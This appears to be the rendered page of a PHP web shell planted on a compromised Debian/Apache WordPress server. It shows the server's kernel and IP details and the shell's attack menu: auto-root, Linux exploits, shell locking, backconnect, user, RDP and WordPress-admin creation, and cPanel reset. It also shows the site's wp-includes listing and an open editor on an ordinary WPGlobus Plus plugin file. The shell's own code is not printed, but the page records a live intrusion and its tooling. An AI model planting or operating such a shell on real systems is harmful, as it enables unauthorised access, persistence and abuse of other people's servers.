Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.220.204.184
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ilpnowa /
web /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
random_compat
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
admin-bar.php
27.98
KB
-rw-r--r--
atomlib.php
11.56
KB
-rw-r--r--
author-template.php
15.75
KB
-rw-r--r--
bookmark-template.php
11.42
KB
-rw-r--r--
bookmark.php
13.35
KB
-rw-r--r--
cache.php
21.09
KB
-rw-r--r--
canonical.php
26.94
KB
-rw-r--r--
capabilities.php
27.55
KB
-rw-r--r--
category-template.php
50.12
KB
-rw-r--r--
category.php
11.7
KB
-rw-r--r--
class-IXR.php
2.51
KB
-rw-r--r--
class-feed.php
522
B
-rw-r--r--
class-http.php
35.32
KB
-rw-r--r--
class-json.php
39.52
KB
-rw-r--r--
class-oembed.php
32.34
KB
-rw-r--r--
class-phpass.php
7.15
KB
-rw-r--r--
class-phpmailer.php
143.34
KB
-rw-r--r--
class-pop3.php
20.43
KB
-rw-r--r--
class-requests.php
29.09
KB
-rw-r--r--
class-simplepie.php
87.17
KB
-rw-r--r--
class-smtp.php
38.55
KB
-rw-r--r--
class-snoopy.php
36.9
KB
-rw-r--r--
class-walker-category-dropdown...
2.05
KB
-rw-r--r--
class-walker-category.php
6.49
KB
-rw-r--r--
class-walker-comment.php
10.91
KB
-rw-r--r--
class-walker-nav-menu.php
8.2
KB
-rw-r--r--
class-walker-page-dropdown.php
2.23
KB
-rw-r--r--
class-walker-page.php
6.56
KB
-rw-r--r--
class-wp-admin-bar.php
16.57
KB
-rw-r--r--
class-wp-ajax-response.php
4.91
KB
-rw-r--r--
class-wp-comment-query.php
40.76
KB
-rw-r--r--
class-wp-comment.php
8.73
KB
-rw-r--r--
class-wp-customize-control.php
24.4
KB
-rw-r--r--
class-wp-customize-manager.php
192.6
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
52.31
KB
-rw-r--r--
class-wp-customize-panel.php
9.35
KB
-rw-r--r--
class-wp-customize-section.php
9.96
KB
-rw-r--r--
class-wp-customize-setting.php
27.47
KB
-rw-r--r--
class-wp-customize-widgets.php
64.2
KB
-rw-r--r--
class-wp-dependency.php
1.51
KB
-rw-r--r--
class-wp-editor.php
59.28
KB
-rw-r--r--
class-wp-embed.php
14.17
KB
-rw-r--r--
class-wp-error.php
4.48
KB
-rw-r--r--
class-wp-feed-cache-transient....
2.48
KB
-rw-r--r--
class-wp-feed-cache.php
745
B
-rw-r--r--
class-wp-hook.php
13.72
KB
-rw-r--r--
class-wp-http-cookie.php
6.3
KB
-rw-r--r--
class-wp-http-curl.php
11.41
KB
-rw-r--r--
class-wp-http-encoding.php
6.29
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.17
KB
-rw-r--r--
class-wp-http-proxy.php
5.82
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.83
KB
-rw-r--r--
class-wp-http-requests-respons...
4.17
KB
-rw-r--r--
class-wp-http-response.php
2.8
KB
-rw-r--r--
class-wp-http-streams.php
14.64
KB
-rw-r--r--
class-wp-image-editor-gd.php
12.62
KB
-rw-r--r--
class-wp-image-editor-imagick....
21.17
KB
-rw-r--r--
class-wp-image-editor.php
11.43
KB
-rw-r--r--
class-wp-list-util.php
6.22
KB
-rw-r--r--
class-wp-locale-switcher.php
4.94
KB
-rw-r--r--
class-wp-locale.php
14.21
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.75
KB
-rw-r--r--
class-wp-meta-query.php
21.73
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
5.25
KB
-rw-r--r--
class-wp-network-query.php
16.72
KB
-rw-r--r--
class-wp-network.php
11.84
KB
-rw-r--r--
class-wp-oembed-controller.php
5.46
KB
-rw-r--r--
class-wp-post-type.php
17.81
KB
-rw-r--r--
class-wp-post.php
6.21
KB
-rw-r--r--
class-wp-query.php
121.06
KB
-rw-r--r--
class-wp-rewrite.php
57.53
KB
-rw-r--r--
class-wp-role.php
2.55
KB
-rw-r--r--
class-wp-roles.php
8
KB
-rw-r--r--
class-wp-session-tokens.php
7.17
KB
-rw-r--r--
class-wp-simplepie-file.php
2.22
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-r--r--
class-wp-site-query.php
22.64
KB
-rw-r--r--
class-wp-site.php
7.15
KB
-rw-r--r--
class-wp-tax-query.php
18.75
KB
-rw-r--r--
class-wp-taxonomy.php
9.76
KB
-rw-r--r--
class-wp-term-query.php
33.36
KB
-rw-r--r--
class-wp-term.php
5.15
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
712
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
14.84
KB
-rw-r--r--
class-wp-theme.php
46.76
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.85
KB
-rw-r--r--
class-wp-user-query.php
28.83
KB
-rw-r--r--
class-wp-user.php
20.19
KB
-rw-r--r--
class-wp-walker.php
12.09
KB
-rw-r--r--
class-wp-widget-factory.php
3.66
KB
-rw-r--r--
class-wp-widget.php
17.24
KB
-rw-r--r--
class-wp-xmlrpc-server.php
196.66
KB
-rw-r--r--
class-wp.php
23.2
KB
-rw-r--r--
class-wpglobus-plus-acf.php
1.57
KB
-rw-r--r--
class-wpglobus-plus-menu.php
2.48
KB
-rw-r--r--
class-wpglobus-plus-publish.ph...
15.03
KB
-rw-r--r--
class-wpglobus-plus-slug-acf.p...
1.14
KB
-rw-r--r--
class-wpglobus-plus-slug.php
22.27
KB
-rw-r--r--
class-wpglobus-plus-tablepress...
2.97
KB
-rw-r--r--
class-wpglobus-plus-wpglobedit...
7.36
KB
-rw-r--r--
class-wpglobus-plus-wpseo23.ph...
17.62
KB
-rw-r--r--
class-wpglobus-plus-yoastseo30...
1.25
KB
-rw-r--r--
class.wp-dependencies.php
10.92
KB
-rw-r--r--
class.wp-scripts.php
13.83
KB
-rw-r--r--
class.wp-styles.php
9.56
KB
-rw-r--r--
comment-template.php
86.15
KB
-rw-r--r--
comment.php
108.76
KB
-rw-r--r--
compat.php
15.85
KB
-rw-r--r--
cron.php
16.08
KB
-rw-r--r--
date.php
34.18
KB
-rw-r--r--
default-constants.php
9.34
KB
-rw-r--r--
default-filters.php
26.61
KB
-rw-r--r--
default-widgets.php
2.13
KB
-rw-r--r--
deprecated.php
110.57
KB
-rw-r--r--
embed-template.php
344
B
-rw-r--r--
embed.php
43.31
KB
-rw-r--r--
feed-atom-comments.php
5.23
KB
-rw-r--r--
feed-atom.php
3.02
KB
-rw-r--r--
feed-rdf.php
2.61
KB
-rw-r--r--
feed-rss.php
1.22
KB
-rw-r--r--
feed-rss2-comments.php
3.97
KB
-rw-r--r--
feed-rss2.php
3.68
KB
-rw-r--r--
feed.php
19.09
KB
-rw-r--r--
formatting.php
264.84
KB
-rw-r--r--
functions.php
183.38
KB
-rw-r--r--
functions.wp-scripts.php
11.21
KB
-rw-r--r--
functions.wp-styles.php
7.89
KB
-rw-r--r--
general-template.php
135.77
KB
-rw-r--r--
http.php
21.65
KB
-rw-r--r--
kses.php
48.93
KB
-rw-r--r--
l10n.php
42.46
KB
-rw-r--r--
link-template.php
133.25
KB
-rw-r--r--
load.php
33.11
KB
-rw-r--r--
locale.php
141
B
-rw-r--r--
media-template.php
45.03
KB
-rw-r--r--
media.php
137.07
KB
-rw-r--r--
meta.php
41.76
KB
-rw-r--r--
ms-blogs.php
38.26
KB
-rw-r--r--
ms-default-constants.php
4.6
KB
-rw-r--r--
ms-default-filters.php
4.54
KB
-rw-r--r--
ms-deprecated.php
15.32
KB
-rw-r--r--
ms-files.php
2.56
KB
-rw-r--r--
ms-functions.php
89
KB
-rw-r--r--
ms-load.php
18.8
KB
-rw-r--r--
ms-settings.php
3.99
KB
-rw-r--r--
nav-menu-template.php
20.38
KB
-rw-r--r--
nav-menu.php
38.6
KB
-rw-r--r--
option.php
66.16
KB
-rw-r--r--
pluggable-deprecated.php
6.12
KB
-rw-r--r--
pluggable.php
89.97
KB
-rw-r--r--
plugin.php
30.93
KB
-rw-r--r--
post-formats.php
6.81
KB
-rw-r--r--
post-template.php
57.35
KB
-rw-r--r--
post-thumbnail-template.php
8.02
KB
-rw-r--r--
post.php
214.7
KB
-rw-r--r--
query.php
25.02
KB
-rw-r--r--
registration-functions.php
178
B
-rw-r--r--
registration.php
178
B
-rw-r--r--
rest-api.php
37.63
KB
-rw-r--r--
revision.php
20.81
KB
-rw-r--r--
rewrite.php
17.09
KB
-rw-r--r--
rss-functions.php
191
B
-rw-r--r--
rss.php
22.66
KB
-rw-r--r--
script-loader.php
78.28
KB
-rw-r--r--
session.php
242
B
-rw-r--r--
shortcodes.php
19.96
KB
-rw-r--r--
spl-autoload-compat.php
2.51
KB
-rw-r--r--
taxonomy.php
147.09
KB
-rw-r--r--
template-loader.php
2.83
KB
-rw-r--r--
template.php
19.33
KB
-rw-r--r--
theme.php
97.44
KB
-rw-r--r--
update.php
24.11
KB
-rw-r--r--
user.php
118.2
KB
-rw-r--r--
vars.php
5.45
KB
-rw-r--r--
version.php
649
B
-rw-r--r--
widgets.php
54.14
KB
-rw-r--r--
wlwmanifest.xml
1.02
KB
-rw-r--r--
wp-db.php
97.14
KB
-rw-r--r--
wp-diff.php
661
B
-rw-r--r--
wpglobus-plus-acf.php
296
B
-rw-r--r--
wpglobus-plus-main.php
10.57
KB
-rw-r--r--
wpglobus-plus-menu.php
205
B
-rw-r--r--
wpglobus-plus-publish.php
217
B
-rw-r--r--
wpglobus-plus-slug.php
360
B
-rw-r--r--
wpglobus-plus-tablepress-funct...
1.14
KB
-rw-r--r--
wpglobus-plus-tablepress.php
226
B
-rw-r--r--
wpglobus-plus-wpglobeditor.php
2.29
KB
-rw-r--r--
wpglobus-plus-wpseo.php
884
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wpglobus-plus-publish.php
<?php /** * Class WPGlobusPlus_Publish * @since 1.0.0 */ if ( ! class_exists( 'WPGlobusPlus_Publish' ) ) : /** * Class WPGlobusPlus_Publish */ class WPGlobusPlus_Publish { /** * Meta key for languages post statuses */ const LANGUAGE_POST_STATUS = '_wpglobus_plus_post_status'; /** * Option key for wp_options table */ const LANGUAGE_STATUS = 'wpglobus_plus_language_status'; /** * @var bool $_SCRIPT_DEBUG Internal representation of the define('SCRIPT_DEBUG') */ protected static $_SCRIPT_DEBUG = false; /** * @var string $_SCRIPT_SUFFIX Whether to use minimized or full versions of JS and CSS. */ protected static $_SCRIPT_SUFFIX = '.min'; /** * @var array of enabled statuses. */ protected static $statuses = array( 'publish', 'pending', 'draft' ); /** * @var array of post statuses. */ public $post_status = array(); /** * Constructor */ public function __construct() { if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) { self::$_SCRIPT_DEBUG = true; self::$_SCRIPT_SUFFIX = ''; } if ( is_admin() ) { add_action( 'wp_ajax_' . __CLASS__ . '_process_ajax', array( $this, 'on_process_ajax' ) ); add_action( 'post_submitbox_misc_actions', array( $this, 'on_add_pub_section' ) ); add_action( 'admin_print_scripts', array( $this, 'on_admin_scripts' ) ); add_filter( 'wpglobus_manage_language_item', array( $this, 'on_manage_column' ), 10, 3 ); /** @since 1.1.3 */ add_action( 'admin_menu', array( $this, 'set_draft_menu' ) ); } else { add_action( 'pre_get_posts', array( $this, 'on_pre_get_posts' ), 0 ); add_filter( 'wpglobus_extra_languages', array( $this, 'on_extra_languages' ), 10, 2 ); /** * Change the_content filter for plus version * @todo 2015-10-09 This breaks WPG-WC and probably others because it checks for disabled post types on front. Besides, we need to check for the non-publish at the main query and go 404. */ // remove_filter( 'the_content', array( 'WPGlobus_Filters', 'filter__text' ), 0 ); // add_filter( 'the_content', array( // $this, // 'filter__text_content' // ), 0 ); add_filter( 'template_include', array( $this, 'on_template_include' ) ); add_filter( 'wpglobus_hreflang_tag', array( $this, 'on_hreflang' ) ); add_filter( 'get_pages', array( $this, 'on_get_pages' ), 10, 2 ); } } /** * Filter get_pages * * @see filter wpglobus_hreflang_tag * @since 1.0.0 * * @param array $pages array of WP_Post objects * @param array $r * * @return array */ public function on_get_pages( $pages, $r ) { $posts_id = $this->get_language_status(); foreach( $pages as $key=>$page ) { /** @var WP_Post $page */ if ( in_array( $page->ID, $posts_id ) ) { unset( $pages[$key] ); } } return $pages; } /** * Filter hreflang tag * * @see filter wpglobus_hreflang_tag * @since 1.0.0 * * @param array $hreflangs * * @return array */ public function on_hreflang( $hreflangs ) { if ( is_singular() ) { global $post; $post_status = get_post_meta( $post->ID, self::LANGUAGE_POST_STATUS, true ); if ( ! empty( $post_status ) ) : foreach( $post_status as $language=>$status ) { if ( ! empty($hreflangs[$language]) && in_array( $status, array('draft', 'pending'), true ) ) { unset( $hreflangs[$language] ); } } endif; } return $hreflangs; } /** * Add language status to flag * * @see filter wpglobus_manage_language_column * @since 1.0.0 * * @param string $output * @param WP_Post $post * @param string $language * * @return string */ public function on_manage_column($output, $post, $language) { $post_status = get_post_meta( $post->ID, self::LANGUAGE_POST_STATUS, true ); if ( ! empty( $post_status[$language] ) && $post_status[$language] !== 'publish' ) : $output .= ' - <b>' . $post_status[$language] . '</b>'; endif; return $output; } /** * Check language draft status for set 404 page * * @see filter template_include * @since 1.0.0 * * @param string $template * @return string */ public function on_template_include( $template ) { global $wp_query; if ( is_singular() ) : $status = $this->get_language_status(); if ( ! empty($status) ) { $post = get_post(); if ( in_array( $post->ID, $status ) ) { $wp_query->set_404(); return get_404_template(); } } endif; return $template; } /** * Set query * * @see WP_Query::get_posts * @since 1.0.0 * @param WP_Query $obj The WP_Query instance (passed by reference). */ public function on_pre_get_posts( $obj ) { if ( is_admin() ) { return; } //if ( ( $obj->is_archive || $obj->is_home ) && $obj->is_main_query() ) { if ( $obj->is_archive || $obj->is_home ) { $status = $this->get_language_status(); if ( ! empty( $status ) ) { $obj->set( 'post__not_in', $status ); } } } /** * Get language status * * @since 1.0.0 * * @return array */ public function get_language_status() { $opt = get_option( self::LANGUAGE_STATUS ); if ( !empty($opt[WPGlobus::Config()->language]) ) { return $opt[WPGlobus::Config()->language]; } return array(); } /** * Set post language status * * @since 1.0.0 * * @param array $post_status * @return void */ public function config( Array $post_status = array() ) { $post = get_post(); if ( empty( $post ) ) { return; } if ( !count($post_status) ) { if ( $post->ID && ( is_single() || is_page() ) ) { $_post_status = get_post_meta( $post->ID, self::LANGUAGE_POST_STATUS, true ); $statuses = array(); foreach( WPGlobus::Config()->open_languages as $language ) : if ( !count($_post_status) ) { $statuses[$language] = 'publish'; } elseif ( isset($_post_status[$language]) ) { $statuses[$language] = $_post_status[$language]; } else { $statuses[$language] = 'publish'; } endforeach; $this->post_status = array( 'post_id' => $post->ID, 'post_status' => $statuses ); } } else { $this->post_status = array( 'post_id' => $post->ID, 'post_status' => $post_status ); } } /** * Set enabled languages * * @see filter wpglobus_extra_languages * @since 1.0.0 * * @param array $languages * @param string $current_language * @return array */ public function on_extra_languages( $languages, /** @noinspection PhpUnusedParameterInspection */ $current_language ) { if ( empty( $this->post_status ) ) { $this->config(); } if ( is_single() || is_page() ) { $i = 0; foreach( $languages as $key=>$l ) : if ( $l === WPGlobus::Config()->default_language ) { $i++; continue; } if ( isset( $this->post_status['post_status'][$l] ) && 'draft' === $this->post_status['post_status'][$l] ) { unset( $languages[$i] ); } $i++; endforeach; } return $languages; } /** * Callback for content * * @see filter the_content * @since 1.0.0 * * @param string $text * @return string */ public function filter__text_content( $text ) { $post = get_post(); if ( WPGlobus::O()->disabled_entity( $post->post_type ) ) { return $text; } $wpglobus_post_status = get_post_meta( $post->ID, self::LANGUAGE_POST_STATUS, true ); $status = 'publish'; if ( !empty($wpglobus_post_status[WPGlobus::Config()->language]) ) { $status = $wpglobus_post_status[WPGlobus::Config()->language]; } switch ($status) : case 'draft' : // if ( WPGlobus::Config()->language === WPGlobus::Config()->default_language ) { $s = __('This post was moved to draft.', ''); } else { $s = sprintf( __( 'This post is available in default language (%s) only.', 'wpglobus-plus' ), WPGlobus::Config()->en_language_name[WPGlobus::Config()->default_language] ); } return $s; break; case 'pending' : // return 'Please, visit later ...'; break; endswitch; return WPGlobus_Core::text_filter( $text, WPGlobus::Config()->language, null, WPGlobus::Config()->default_language ); } /** * Add section to Publish metabox * * @since 1.0.0 * * @return void */ public function on_add_pub_section() { if ( 'off' === WPGlobus::Config()->toggle ) { return; } $post = get_post(); if ( WPGlobus::O()->disabled_entity( $post->post_type ) ) { return; } $language_status = get_post_meta($post->ID, self::LANGUAGE_POST_STATUS, true); $menu_element = '<div id="wpglobus-pub-{{language}}" class="wpglobus-pub-status hidden"> Post status in <span style="text-decoration:underline;">{{language_name}}</span> : <ul>'; foreach ( self::$statuses as $status ) { $class = 'wpglobus-status-' . $status; $menu_element .= '<li data-status="' . $status . '" data-language="{{language}}" class="' . $class . '"><span class="wpglobus-checkmark"> </span>' . $status . '<span class="wpglobus-spinner"> </span></li>'; } $menu_element .= ' </ul> </div>'; $wpglobus_pub_raw = $menu = ''; foreach( WPGlobus::Config()->open_languages as $language ) { $class = ' wpglobus-status-publish'; if ( isset($language_status[$language]) ) { $class = ' wpglobus-status-' . $language_status[$language]; } $status = isset($language_status[$language]) ? $language_status[$language] : 'publish'; $wpglobus_pub_raw .= '<span class="wpglobus-pub-language wpglobus-pub-selector-' . $language . $class . '" data-language="' . $language . '" data-status="' . $status . '">' . $language . '</span>'; $menu .= str_replace( array('{{language}}','{{language_name}}'), array($language, WPGlobus::Config()->en_language_name[$language]), $menu_element ); } ?> <div class="misc-pub-section wpglobus-pub wpglobus-switch"> <span id="wpglobus-pub-raw"> <?php _e( 'Status', 'wpglobus-plus' ); ?>: <strong><?php echo $wpglobus_pub_raw; ?></strong></span> <span id="wpglobus-status-box"><?php echo $menu; ?></span> </div> <?php } /** * Enqueue admin scripts * * @since 1.0.0 * @return void */ public function on_admin_scripts() { $post = get_post(); if ( WPGlobus_WP::is_pagenow(array('post.php', 'post-new.php')) ) : wp_register_script( 'wpglobus-plus-publish', plugin_dir_url( __FILE__ ) . 'js/wpglobus-plus-publish' . self::$_SCRIPT_SUFFIX . ".js", array( 'jquery' ), WPGLOBUS_PLUS_VERSION, true ); wp_enqueue_script( 'wpglobus-plus-publish' ); wp_localize_script( 'wpglobus-plus-publish', 'WPGlobusPlusPublish', array( 'data' => array( 'version' => WPGLOBUS_PLUS_VERSION, 'post_id' => $post->ID, 'statuses' => self::$statuses, 'process_ajax' => __CLASS__ . '_process_ajax' ) ) ); endif; } /** * Handle ajax process * * @since 1.0.0 * @return void */ public function on_process_ajax() { $ajax_return = array(); $order = $_POST['order']; switch ( $order['action'] ) : case 'set_status': $status = get_post_meta($order['post_id'], self::LANGUAGE_POST_STATUS, true); $status[$order['language']] = $order['status']; $ajax_return['action'] = $order['action']; if ( update_post_meta( $order['post_id'], self::LANGUAGE_POST_STATUS, $status ) ) { $ls = get_option(self::LANGUAGE_STATUS); if ( 'draft' === $order['status'] ) { $ls[$order['language']][$order['post_id']] = $order['post_id']; update_option( self::LANGUAGE_STATUS, $ls, false ); } else { if ( ! empty($ls[$order['language']]) && isset($ls[$order['language']][$order['post_id']]) ) { unset( $ls[$order['language']][$order['post_id']] ); update_option( self::LANGUAGE_STATUS, $ls, false ); } } $ajax_return['result'] = 'ok'; $ajax_return['status'] = $order['status']; } else { $ajax_return['result'] = 'error'; } break; endswitch; echo json_encode( $ajax_return ); die(); } /** * Hidden admin menu to call @see WPGlobusPlus_Publish::set_draft_callback * @since 1.1.3 */ public function set_draft_menu() { add_submenu_page( null, 'WPG SET DRAFT', 'SET DRAFT', 'manage_options', 'wpglobus-set-draft', array( $this, 'set_draft_callback' ) ); } /** * Hidden admin page to set draft status to specific post type / language * @url http://qa.wpglobus.com/wp/wp-admin/admin.php?page=wpglobus-set-draft&lang=fr&post_type=product * * @since 1.1.3 */ public function set_draft_callback() { ?> <div class="wrap"> <h1>WPGlobus :: Set Draft</h1> <hr/> <?php // Check for required parameters if ( empty( $_GET['lang'] ) || empty( $_GET['post_type'] ) ) { echo "Syntax: &lang=...&post_type=..."; return; } // Check if language is one of the enabled $language = $_GET['lang']; if ( ! WPGlobus_Utils::is_enabled( $language ) ) { echo 'Unknown language: ' . esc_html( $language ); return; } $post_type = $_GET['post_type']; echo "<h2>Setting to draft: $post_type | $language</h2>"; echo '<hr/>'; // Get all posts with the specified type $posts = get_posts( array( 'numberposts' => - 1, 'post_type' => $post_type, 'orderby' => 'ID', 'order' => 'ASC' ) ); // Loop through the posts foreach ( $posts as $post ) { // Print the post title and link to edit printf( '<a href="%s">%s</a> : %s : ', admin_url( '/post.php?post=' . $post->ID . '&action=edit' ), $post->ID, esc_html( apply_filters( 'the_title', $post->post_title ) ) ); // Array of post statuses per languages is stored in the post meta $post_status = get_post_meta( $post->ID, self::LANGUAGE_POST_STATUS, true ); if ( ! isset( $post_status[ $language ] ) ) { // There was no status for this language..we'll set it $post_status[ $language ] = 'draft'; if ( update_post_meta( $post->ID, self::LANGUAGE_POST_STATUS, $post_status ) ) { echo '<strong style="color: navy">Set to draft</strong>'; } else { echo '<strong>Update FAILED!</strong>'; } } else { // Status already set..we do not change it echo 'Already set to ' . $post_status[ $language ]; } echo '<br/>'; } ?> <br/> Done. </div> <?php } } // class endif; // class_exists
Close